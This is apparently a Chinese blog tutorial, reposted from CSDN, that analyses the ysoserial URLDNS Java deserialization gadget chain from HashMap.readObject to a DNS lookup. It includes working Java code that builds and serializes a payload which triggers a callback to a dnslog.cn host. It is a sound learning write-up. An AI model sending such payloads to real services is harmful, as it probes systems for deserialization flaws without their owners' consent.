• [JAVA反序列化] URLDNS


    0x01

    URLDNS链子 不能够RCE 但是通常作为验证是否存在反序列化漏洞的一种方式,学习反序列化先从 URLDNS开始,因为他短。 我的环境有问题,直接来审,环境就不说了,参考其他师傅的吧

    源码:mirrors / frohoff / ysoserial · GitCode

    分析

    1. public class URLDNS implements ObjectPayload {
    2. public Object getObject(final String url) throws Exception {
    3. //Avoid DNS resolution during payload creation
    4. //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
    5. URLStreamHandler handler = new SilentURLStreamHandler();
    6. HashMap ht = new HashMap(); // HashMap that will contain the URL
    7. URL u = new URL(null, url, handler); // URL to use as the Key
    8. ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    9. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
    10. return ht;
    11. }
    12. public static void main(final String[] args) throws Exception {
    13. PayloadRunner.run(URLDNS.class, args);
    14. }
    15. /**
    16. *

      This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.

    17. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
    18. * using the serialized object.

    19. *
    20. * Potential false negative:
    21. *

      If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the

    22. * second resolution.

    23. */
    24. static class SilentURLStreamHandler extends URLStreamHandler {
    25. protected URLConnection openConnection(URL u) throws IOException {
    26. return null;
    27. }
    28. protected synchronized InetAddress getHostAddress(URL u) {
    29. return null;
    30. }
    31. }
    32. }
    33.  HashMap ht = new HashMap();

      看的出,这个链反序列化的对象是HashMap的对象,因为是hashMap 的对象,所以我们去HashMap类 中找readobject 方法:

      1. private void readObject(java.io.ObjectInputStream s)
      2. throws IOException, ClassNotFoundException {
      3. // Read in the threshold (ignored), loadfactor, and any hidden stuff
      4. s.defaultReadObject();
      5. reinitialize();
      6. if (loadFactor <= 0 || Float.isNaN(loadFactor))
      7. throw new InvalidObjectException("Illegal load factor: " +
      8. loadFactor);
      9. s.readInt(); // Read and ignore number of buckets
      10. int mappings = s.readInt(); // Read number of mappings (size)
      11. if (mappings < 0)
      12. throw new InvalidObjectException("Illegal mappings count: " +
      13. mappings);
      14. else if (mappings > 0) { // (if zero, use defaults)
      15. // Size the table using given load factor only if within
      16. // range of 0.25...4.0
      17. float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
      18. float fc = (float)mappings / lf + 1.0f;
      19. int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
      20. DEFAULT_INITIAL_CAPACITY :
      21. (fc >= MAXIMUM_CAPACITY) ?
      22. MAXIMUM_CAPACITY :
      23. tableSizeFor((int)fc));
      24. float ft = (float)cap * lf;
      25. threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
      26. (int)ft : Integer.MAX_VALUE);
      27. // Check Map.Entry[].class since it's the nearest public type to
      28. // what we're actually creating.
      29. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
      30. @SuppressWarnings({"rawtypes","unchecked"})
      31. Node[] tab = (Node[])new Node[cap];
      32. table = tab;
      33. // Read the keys and values, and put the mappings in the HashMap
      34. for (int i = 0; i < mappings; i++) {
      35. @SuppressWarnings("unchecked")
      36. K key = (K) s.readObject();
      37. @SuppressWarnings("unchecked")
      38. V value = (V) s.readObject();
      39. putVal(hash(key), key, value, false, false);
      40. }
      41. }
      42. }

      看到最后有个 putVal(hash(key), key, value, false, false);

      调用了hash 函数计算哈希值,跟进hash

      1. static final int hash(Object key) {
      2. int h;
      3. return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
      4. }

      调用了键的 hashCode函数,返回原来的源码,可以发现 ysoserial构造链 用的键是URL类,而不是Object的hashCode方法。

      1. URL u = new URL(null, url, handler); // URL to use as the Key
      2. ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

      跟进url类的 hashcode方法: 所以我们这里需要将Key 实例化成我们需要的URL类。

      跟进一下URL 类的hashCode方法:

      1. public synchronized int hashCode() {
      2. if (hashCode != -1)
      3. return hashCode;
      4. hashCode = handler.hashCode(this);
      5. return hashCode;
      6. }

      如果hashCode  == -1 则会就会重新计算hash Code ,调用handler的hashCode()  ,看一下handler是什么:

       handler 属性是 URLStreamHandler 类的对象  。 

      所以我们要跟进 URLStreamHandler 类的 hashCode() 方法

      1. protected int hashCode(URL u) {
      2. int h = 0;
      3. // Generate the protocol part.
      4. String protocol = u.getProtocol();
      5. if (protocol != null)
      6. h += protocol.hashCode();
      7. // Generate the host part.
      8. InetAddress addr = getHostAddress(u);

      跟进到下面的  getHostAddress(u)

      1. protected synchronized InetAddress getHostAddress(URL u) {
      2. if (u.hostAddress != null)
      3. return u.hostAddress;
      4. String host = u.getHost();
      5. if (host == null || host.equals("")) {
      6. return null;
      7. } else {
      8. try {
      9. u.hostAddress = InetAddress.getByName(host);

      最后调用了 getByName 方法,这里InetAddress.getByName(host)的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。

      因此整个 Gadget 清晰了

      整条链子:

      HashMap.readObject()->HashMap.hash()—>URL.hachCode()—>URLStreamHandler.hachCode()—>URLStreamHandler.getHostAddress()->InetAddress.getByName()
      

      利用:

      实际上,在HashMap中有一哥put 方法会调用我们需要触发的hash 方法

      1. public V put(K key, V value) {
      2. return putVal(hash(key), key, value, false, true);
      3. }

      因此简单来说,排开反序列化的话,简单用一次put 就会触发一次 URLDNS。

      测试一下:

      1. public static void main(final String[] args) throws Exception {
      2. HashMap aaa = new HashMap();
      3. String url = "http://2osumc.dnslog.cn/";
      4. URL url1 = new URL(url);
      5. aaa.put(url1,url);
      6. }

      果然触发了

       总结一下 运行的过程

      定义的hash 是 HashMap 类型,所以调用hash.put 时便会调用 HashMap 类的 hash(key) ,之后会调用 key.hashCode() 方法 ,而我们在一开始实例化的HashMap对象的键时URL类型的(HashMap), 所以就会调用URL类的hashCode方法。这里Debug可以看到hashCode的值为-1,所以会执行URLStreamHandler类的hachCode(),剩下部分就如之前整理的链顺序(不再解释了)

       反射修改hashCode

      我们需要在反序列化时触发URLDNS,但现在还未进行反序列化就已经执行了最后的getByName()方法

      原因:如上图所示在反序列化之前这里的hashCode就已经变成了-1,而我们在反序列化之前并不想让他调用getByName即hashCode不为-1

      解决办法:这种情况就需要通过我们的反射机制来修改hashCode的值,让它不为-1
       

      查看hashCode属性发现其为私有属性

      private int hashCode = -1;
      

      所以这里修改值得话就用到了反射爆破—>setAccessible

      1. import java.io.FileOutputStream;
      2. import java.io.IOException;
      3. import java.io.ObjectOutputStream;
      4. import java.lang.reflect.Field;
      5. import java.net.URL;
      6. import java.util.HashMap;
      7. public class DnsTest {
      8. public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      9. HashMap hash = new HashMap();
      10. URL url = new URL("http://2osumc.dnslog.cn");
      11. Class c = Class.forName("java.net.URL");
      12. Field hashCode = c.getDeclaredField("hashCode");
      13. hashCode.setAccessible(true); //反射爆破属性
      14. hashCode.set(url,123); //传参值不为-1即可
      15. hash.put(url,1);
      16. Serialize(hash);
      17. }
      18. public static void Serialize(Object obj) throws IOException {
      19. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
      20. out.writeObject(obj);
      21. out.close();
      22. }
      23. }

      此时调用后便没有返回任何结果

       但这里的·hashCode·值被我们修改成了123当我们反序列化后得到的就也还是123,所以在执行完hash.put后改回去即可hashCode.set(url,1);

      1. package Sentiment.unserialize.URLDNS;
      2. import java.io.FileOutputStream;
      3. import java.io.IOException;
      4. import java.io.ObjectOutputStream;
      5. import java.lang.reflect.Field;
      6. import java.net.URL;
      7. import java.util.HashMap;
      8. public class DnsTest {
      9. public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      10. HashMap hash = new HashMap();
      11. URL url = new URL("http://93rjqs.dnslog.cn");
      12. Class c = Class.forName("java.net.URL");
      13. Field hashCode = c.getDeclaredField("hashCode");
      14. hashCode.setAccessible(true);
      15. hashCode.set(url,123);
      16. hash.put(url,1);
      17. hashCode.set(url,-1);
      18. Serialize(hash);
      19. }
      20. public static void Serialize(Object obj) throws IOException {
      21. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
      22. out.writeObject(obj);
      23. out.close();
      24. }
      25. }

      执行反序列化

      1. import java.io.FileInputStream;
      2. import java.io.IOException;
      3. import java.io.ObjectInputStream;
      4. public class Unserialize {
      5. public static void main(String[] args) throws IOException, ClassNotFoundException {
      6. ObjectInputStream In = new ObjectInputStream(new FileInputStream("1.txt"));
      7. Object obj= In.readObject();
      8. }
      9. }

      成功触发 

      rethink 

      其实 也是挺简单的一条链子,难点也就是要理解类构造,然后需要知道反射机制。我也是蠢 硬是用了两天才看明白,但是明白之后收获很大,对JAVA反序列有了初步理解,很不错。会审一手CC1,看看我多久能消化完成吧hh,这个文章也是没有写的很通俗易懂。因为本人水平也不够,见谅

    34. 相关阅读:
      读者自荐的 4 个 GitHub 项目
      Fe3O4纳米粒子/氧化锌纳米粒子/纳米氧化铈/纳米聚乙烯修饰二氧化硅微球表征探究
      智安新闻|智安网络亮相2023网安周!
      【Java基础面试十二】、说一说你对面向对象的理解
      Python+AI智能编辑人脸
      Java线上云酒馆单预约系统源码小程序源码
      使用CPU本地部署一个大模型
      2004-2020年中小企业板上市公司财务报表股票交易董事高管1200+变量数据及说明
      华为防火墙基础自学系列 | IPsec技术详解
      IntelliJ IDEA 15个插件
    35. 原文地址:https://blog.csdn.net/snowlyzz/article/details/127740371